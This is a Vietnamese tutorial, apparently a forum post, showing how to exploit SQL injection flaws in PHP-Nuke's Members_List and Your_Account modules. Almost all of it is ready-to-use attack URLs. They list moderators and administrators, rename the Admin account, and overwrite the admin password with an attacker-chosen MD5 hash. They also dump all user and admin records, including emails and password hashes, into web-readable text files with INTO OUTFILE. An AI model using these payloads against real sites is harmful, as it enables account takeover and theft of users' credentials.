Khai thác lỗi trong module PHP-Nuke Lỗi trong module Members_List có thể lấy mật khẩu thành viên và Admin.
Cách khai thác như sau:
Trong Module Members_List- Hiển thị tất cả thành viên được sắp xếp theo mật khẩu
http://<trang web phpNuke>/modules.php?name=Members_List&letter=All&sortby=pass- Hiển thị tất cả thành viên được sắp xếp theo
UIDhttp://<trang web phpNuke>/modules.php?name=Members_List&letter=All&sortby=uid Hai câu truy vấn bên trên thì không có gì để để nói. Híc híc. Bây giờ là câu truy vấn thứ ba- Hiển thị tất cả Moderators
http://<trang web phpNuke>/modules.php?name=Members_List&letter='%20OR%20user_level='2'/*- Hiển thị tất cả Administrator
http://<trang web phpNuke>/modules.php?name=Members_List&letter='%20OR%20user_level='4'/*...</SPAN>
*Khai thác Admin.
Chuyển đổi tên "Admin" thành "seamoun" chẳng hạn. Khà khà
http://<trang web phpNuke>/modules.php?name=Your_Account&op=savetheme&theme=',name='seamoun'%20where%20uname='Admin'/*&uid=[OUR_UID]
Chuyển đổi mật khẩu của Admin (md5). Để có được mật khẩu md5 của mình các bạn có thể tự tạo cho mình một mật khẩu sau đó view trong dữ liệu để lấy mã hoá md5. Khỏi mất công viết cho mệt. Ở đây cái mật khẩu md5 của mình đã mã hoá rùi là b6d0de971824629e987b84d513dc8af0
http://<trang web phpNuke>/modules.php?name=Your_Account&op=saveuser&email=',pass='b6d0de971824629e987b84d513dc8af0'%20where%20uname='Admin'/*&uid=[OUR_UID]
Vậy là ta có thể Login với tên của mình và mật khẩu của mình tự tao ra. Hì hì
Làm như trên thì mỗi lần ta chỉ làm cho một user thui. Vậy thì mệt quá, để lấy tất cả mật khẩu cũng như mail lưu thành tệp email chẳng hạn.
Câu lệnh như sau sẽ lưu thông tin của user
http://<trang web phpNuke>/modules.php?name=Your_Account&op=mailpasswd&uname=')%20OR%201=1%20INTO%20OUTFILE%20'/<đường dẫn web>/email.txt'/*
Sau khi thực hiện lệnh nó sẽ tạo ra một file trên host. để view file này thì đường dẫn nó là
http://<trang web phpNuke>/email.txt
- Lưu tất cả thông tin của Admin vào một tệp admin.txt
http://<trang web phpNuke>/modules.php?name=Your_Account&op=login&uname='%20OR%user_level>1%20INTO%20OUTFILE%20'/<đường dẫn web>/admin.txt
Đường dẫn để view trang này thì cũng như trên
Tài liệu tham khảo: phpsecure
